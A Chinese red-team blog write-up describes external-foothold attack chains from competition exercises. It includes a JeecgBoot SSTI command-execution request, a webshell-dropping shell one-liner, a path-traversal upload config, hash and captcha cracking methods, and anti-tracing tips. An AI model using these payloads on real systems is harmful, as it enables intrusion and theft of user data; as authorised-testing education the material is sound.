问答
发起
提问
文章
攻防
活动
Toggle navigation
首页
(current)
问答
商城
实战攻防技术
漏洞分析与复现
NEW
活动
摸鱼办
搜索
登录
注册
红队攻防 | 外网打点不靠0day组合拳拿下目标系统
渗透测试
本案例所使用的素材来源于过往参与的攻防对抗比赛及众测项目,选取比较有意思的案例分享,旨在拓展外网打点的思路与技巧。文中涉及的图片及相关信息均已进行了脱敏与处理,如有与实际场景存在相似或雷同之处,纯属巧合!
### 前言 如果你要问我在红队攻防中最喜欢哪一环,我的答案毫无疑问是**外网打点**,它是整个攻防链条的起点,也是最具探索乐趣的阶段。从零开始,面对一个完全陌生的目标,你需要通过公开信息、域名解析、网站目录探测等手段,逐步描绘出目标的外部轮廓。每一条信息、每一个细节都可能成为突破口,正是这种从无到有、逐步拿下的过程,让外网打点成为红队攻防中最令人兴奋和成就感最强的一环! ### 前期准备防溯源 临时VPS:[https://aws.amazon.com/cn/campaigns/nc20241001/?trk=870dbb43-c500-4476-8a82-5ea9637bd7a7&sc\_channel=psm](https://aws.amazon.com/cn/campaigns/nc20241001/?trk=870dbb43-c500-4476-8a82-5ea9637bd7a7&sc_channel=psm) 代理节点IP:<https://www.feiyuip.com/> 记得勾选掉线禁用网卡✔,防止网络切换过程中泄露真实出口IP  ### 演习规则解读 | 注意事项 | 内容 | |---|---| | 优先目标 | 攻击范围:提前沟通好目标分子公司是否算范围内 多倍积分:关注多倍积分目标,方法用对,事半功倍 | | 协同合作 | 人员分工:A负责外网打点,B负责内网横向等 成果同步:避免浪费人力,成果通过语雀或雨墨同步 | | 现场洞察预判 | 拿分目标:研读得分规则,关注大屏攻击动态,找侧重目标 关注动态:关注大屏防守方扣分情况,根据出局线预判即将下线单位,可优先集火攻击 | | 场外信息获取 | 从裁判处合理获取信息,如目标、时间信息、成果是否值得深入等 | | 成果最大化 | 突出危害:数据量和危害性,危害、影响描述尽可能大 报告展示:所有成果按攻击路径依次罗列,标注好入口和横向方式 | ### JS隐藏注册页面--短信验证回显--断点调试获取动态密钥--越权获取其他用户手机--登入管理员后台 在渗透测试过程中,要善于通过js挖掘隐藏接口,找到那些没有在前端页面明面暴露的遗留或测试接口 - 可通过全局检索js代码,查找路由配置、接口注释或服务端代码中的注册逻辑 - 通过修改常见的注册接口路径(如 `/api/register`, `/user/signup`, `/auth/create`)尝试访问,看看是否有响应。 - 结合字典爆破(如使用 dirbuster、ffuf 等工具)扫描可能的接口路径 这里通过全局检索js代码 `register`字段  正想拿小号接收个短信验证码,突然发现 `/xxx/sendsmscode/`接口泄露了验证码内容信息  存在短信验证码回显,意味着我们可以伪造任意手机号进行系统登录,但如何获得管理员的手机号呢? 这时候脑海里有三个思路 - 社工手段获取目标管理员手机号(通过各种搜索引擎,打电话均无结果,放弃) - 手机号爆破(尝试爆破了几万次,成功次数为0,也放弃) - 最后决定进入后台挖掘越权漏洞 随意手机号注册系统,抓包发现数据包为加密字段  通用思路,首先确认加密函数位置,设置条件断点(如访问 `encrypt` 字段或调用 AES-GCM 函数时触发) 然后观察函数参数,尤其是密钥和初始化向量(IV)参数,接着跟踪密钥的来源,看是否硬编码或通过密钥交换生成 这里全局搜索`encrypt`字段,发现使用的AES-GCM加密方式,加断点动态调试获取session key  PS:这里的session key是一次性,刷新页面就会变化 使用AES-transfer 插件自动替换字段  成功获取明文数据  成功解密出数据后,开始寻找可能存在越权的接口 **这里有小技巧: 可以通过搜索存在id参数的接口,配合hae插件泄露用户信息提示快速挖掘越权** 最终通过 `/xxx/xxx/Getinfo?pageIndex=1&pageSize=15&key=1&id=72` 成功找到越权点获取管理员的手机号  最后利用管理员的手机号--短信验证回显成功登录后台  ### 小程序弱口令爆破--Fuzz相似api接口越权--hash碰撞获取管理员密码--接管高权限账户 通过微信小程序搜索目标单位,发现一处后勤管控平台资产  shiro框架的,爆破一波key试试,好吧不成功  像这样的系统一般以员工工号作为用户名,通过google语法搜出工号位数为5位数字(类似10001,10002) 固定密码为123456,祭出我的Top1000用户名进行爆破,成功爆破出三个弱口令  这时候继续翻找功能点,毕竟弱口令才20分一个 从history中翻出这么一个接口,StaffListV2返回包提示没权限,尝试Fuzz相似接口  尝试把 `StaffListV2` 修改为 `StaffListV1、StaffListV3、StaffList` 发现`StaffList`没做鉴权,能够获取所有员工的邮箱和工号信息  接着通过小程序解包找到web后台管理地址:<https://api.xxxx-admin.com> 小程序解包项目:<https://github.com/Ackites/KillWxapkg>  利用小程序爆破出的账号密码进行登录  但由于我们爆破出的账号为普通员工账号,因此后台没有数据,所以我还需要去尝试接管管理员账号  翻看history数据包,发现在修改密码功能有一个api接口返回了用户名`pwd_hash`  通过传入userid可以越权查看他人的pwd\_hash,刚好我们在StaffList接口能够获取所有员工的userid 接着分析pwd\_hash,虽然无法直接解密,但返回包中包含了随机的salt值  分析后发现 pwd\_hash=(password md5--salt)sha256,根据此编写对应的碰撞脚本 1.使用密码和盐值生成基于 MD5 和 SHA-256 的哈希值。 2.从指定文件中读取密码列表,每行一个密码。 3.将密码文件中的每个密码与提取的盐值和哈希进行比对,找到匹配项  成功碰撞出高权限账户密码 1qaz@WSX  ### 反编译app找到系统--暴力破解bypass--配置文件获取数据库账密--获取数万用户数据 通过jadx反编译app,找到管理系统域名地址  在攻防对抗中,通过弱口令获得权限的情况占据90%以上,很多企业员工用类似test123、test888这种账号拼音或其简单变形,或者123456、888888、手机号后6位等作为密码,生成简单的密码字典进行枚举即可获取有效账户密码拿下目标系统 这个系统有2个难点: - 首先是登录页面有数字验证码,不能直接暴力破解 - 密码是加密的,需要找到password字段加密相关函数  **验证码解决方法:** [https://github.com/smxiazi/NEW\_xp\_CAPTCHA](https://github.com/smxiazi/NEW_xp_CAPTCHA) 直接`pip install muggle_ocr`安装会报错,由于官方对其模块进行下架 使用命令`pip install -i https://pypi.tuna.tsinghua.edu.cn/simple muggle_ocr` 默认监听本地的8899端口,可通过server.py进行修改  定位验证码功能的url,抓包发送到验证码识别模块  对验证码设置参数,转到payloads模块进行如下配置  实现效果:  **password加密解决方法:** 通过搜索encrypt字段找到密码加密的函数位置  编写脚本对密码字段进行RSA批量加密  成功爆破出有效的账户密码  找到许可证功能点--文件上传,没有任何拦截很舒服  getshell后发现为iis权限,权限太低只能浏览部分文件,很多命令无法执行  通过 `web.config` 文件找到数据库账密,根据表名定位用户数据表,可获取数万用户数据  mysql> select count(\*) from xxx; +----------+ | count(\*) | +----------+ | 134783 | +----------+ 1 row in set  ### 被动指纹识别--swagger信息泄露获取token--命令执行  常规的目录扫描,弱口令均发现问题,正打算看下个站点,这时候通过 `sweetpotato` 插件发现目标系统框架为 `jeecg` <https://github.com/z2p/sweetPotato>  JeecgBoot 受影响版本中由于积木报表 `/jeecg-boot/jmreport/queryFieldBySql` Api接口未进行身份校验,使用 Freemarker 处理用户用户传入的 sql 参数,未经授权的攻击者可发送包含恶意 sql 参数的 http 请求,可以通过 SSTI 在应用端执行任意代码 POST /jeecg-boot/jmreport/queryFieldBySql HTTP/1.1 Host: User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.5414.120 Safari/537.36 Connection: close Content-Type: application/json Content-Length: 105 {"sql":"select 'result:<#assign ex=\\"freemarker.template.utility.Execute\\"?new()> ${ex(\\"whoami \\") }'" } 发送数据包回显报错,提示缺少token 有时候开发人员会考虑兼容性,并未直接更新版本修复,可能仅增加鉴权把接口回收至后台  那么我们该如何进入后台或获取有效token呢?爆破弱口令很明显行不通 这时候扫描目录发现站点存在swagger信息泄露  通过 `httptrace`接口获取有效的`x-access-token`  请求携带 `x-access-token`成功执行命令  ### 旁站备份文件泄露--go代码审计绕鉴权--yaegi第三方库命令注入 某个目标搜集完一二级域名后未有太大进展,继续搜集三四级域名(Oneforall、Amass、SubdomainBrute) 扫目录发现一个测试平台存在源码泄露  代码审计辅助:一些好用的静态代码扫描插件分享,使用体验下来挺不错 <https://github.com/KimJun1010/inspector> <https://github.com/Zjackky/CodeScan> <https://github.com/SpringKill-team/SecurityInspector> 这个系统使用的是gin框架,Gin 框架中的路由定义了客户端请求的 URL 和处理该请求的函数之间的映射关系,Gin框架的路由可以找GET、POST等关键字。 如下图,我们可以看到/giro/stats/ 路由对应的请求方法为POST,函数处理逻辑则在stats.HandleUrl函数中  sql注入大多存在于`fmt.printf`中使用`%s`拼接导致 query := fmt.printf("SELECT \* FROM users WHERE name='%s'", name) rows, err := db.Query(query) 可以通过`%s`进行全局搜索,但跟了一波并未发现用户侧输入可控的有效注入点  这个时候发现其引入了`yaegi`第三方库 <https://github.com/traefik/yaegi> `yaegi` 库中常用于插件系统、动态脚本执行等场景,但同时`i.Eval` 方法支持动态执行用户提供的 Go 代码会导致安全问题  这里发现没有对用户输入做安全控制,导致存在命令注入的问题  根据路由定位到对应功能点,但直接访问会重定向到首页  这时候发现其写法为 `context.Request.URL.Path` 我们可以将请求的Path进行URL编码绕过鉴权,由于 `request.url.path` 特性仍能正确匹配到路由  发送payload,成功执行命令回显dnslog  嵌入命令执行的go代码  ### asp调试信息泄漏--后台FTP下载源码--模板插件压缩包上传--某云替换hash登录系统 扫描目录发现asp.net调试信息泄漏,泄漏Cookie信息:/Trace.axd?id=0,替换Cookie进⼊后台  使用burp自带替换cookie进入后台,在配置文件位置抓包找到FTP账户密码  正常ftp服务能直接上传webshell,但这个环境不行,可能是由于设置问题只允许文件读取和下载 于是把根目录下的www.zip打包到本地进行代码审计  上传压缩包位置仅做了zip后缀过滤,继续跟`UploadPackage`往下看  发现默认上传路径为 `/App_Data/BaseManage/Applications/`,但该路径前台无法访问  继续翻找发现copyfile的方法,可以通过传入json文件,把压缩包解压到指定的路径 `"/App_Data/BaseManage/Applications/" -- appkey`  因此我们可以构造 `app.json` ,一同打包到压缩包里 { "AppName": "111", "AppKey": "../../../Test", "Version": "0.0.0.1", "Author": "222", "Roles": "Administrators", "Description": "333" } 接着选择压缩包上传--安装  getshell拿下该服务器权限,拿下后发现靶标系统也在该服务器下,本打算提交报告收工 这时候裁判方要求证明能够登录web系统,好吧那只能再加会班  开始翻找数据库配置⽂件 `./xxx/xxx/product/application.ini`,找到 `root/ENC(2RllAsMDeSP--MsRbM0CdSS7xxxxxx7XeyVHQNGUBE0XU=)` 这里密码为加密字符串,不能直接使用,继续定位找到加密逻辑代码  分析后发现使用AES-128-CBC 加密,key会使⽤sha256循环hash 100次⽣成最终的key 根据加密逻辑编写脚本,成功解出数据库密码  mysql -u root -p KFMI5xxxxxVOCC select \* from xxxx.v3\_user limit 0,100; 密码为 BCrypt 算法生成,不可逆只能替换  例如,一个 BCrypt 哈希值的格式如下: $2a$10$QkBrYzvFkxslEu.NR4K6jOScKpiEqeptALHRoVkj5hoMFm9TqCm8u 其中: - `$2a$`:表示 BCrypt 算法的版本。 - `10`:表示工作因子为 10,工作因子越大,安全性越高。 - `QkBrYzvFkxslEu.NR4K6jO`:是随机生成的盐值。 - `ScKpiEqeptALHRoVkj5hoMFm9TqCm8u`:是加密后的密码哈希值。 - <https://github.com/gchq/CyberChef>  重新生成一个替换即可 (记得保留原来的值后面替换回去),成功拿下靶标  ### 旁站端口扫描--文件下载getshell--docker未授权K8s集群--环境变量获取密码--接管云主机平台 网页导航站点往往聚合了大量外链,页面源代码、脚本注释、配置文件中可能暴露测试入口、后台路径或第三方服务接口。 因此可作为信息收集和跳板点,利用导航入口扩展攻击面  通过扫描旁站端口发现其中6666端口存在目录遍历  可通过 `UploadSource` -- `UploadDestination` 达到模拟远程下载webshell到服务器的效果  找到前台页面,右键查看源代码,随便找一个静态资源`chunk-000a3681.70cde055.css`,一般静态资源目录下前台可以直接访问 `find /|grep chunk-000a3681.70cde055.css|while read f;do sh -c 'echo xxx | base64 -d' >$(dirname $f)/test.jsp` 找到前台路径直接下载webshell,哥斯拉直接连接 ###  接着fscan扫描内网,发现存在docker未授权  任意选择一个节点进行验证  列出所有的节点,发现其中存在 h3cloud 云管平台,感觉有进一步利用的价值  在 **云管平台** 里,数据库账号和密码往往涉及多层组件,常见的地方主要有: - **应用配置文件**: - `application.properties` / `appsettings.json` / `web.config` / `config.yaml` - 很多平台把数据库连接字符串(含账密)直接写在这里。 - **Docker Compose / Kubernetes 配置**: - `docker-compose.yml`、`k8s deployment.yaml` 中可能写死账号密码。 - 云管平台可能用环境变量存储数据库连接字符串 这里恰恰密码就存放在环境变量里  连接数据库,定位web系统对应的表,新增管理员用户 adminx  成功登录h3c云管平台,可管控1000+云主机 
发表于 2025-09-26 09:00:01
阅读 ( 1065 )
分类:
WEB安全
10 推荐
收藏
0 条评论
请先
登录
后评论
hyyrent
红队摸鱼选手
8 篇文章
×
发送私信
请先
登录
后发送私信
×
举报此文章
垃圾广告信息:
广告、推广、测试等内容
违规内容:
色情、暴力、血腥、敏感信息等内容
不友善内容:
人身攻击、挑衅辱骂、恶意行为
其他原因:
请补充说明
举报原因:
×
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!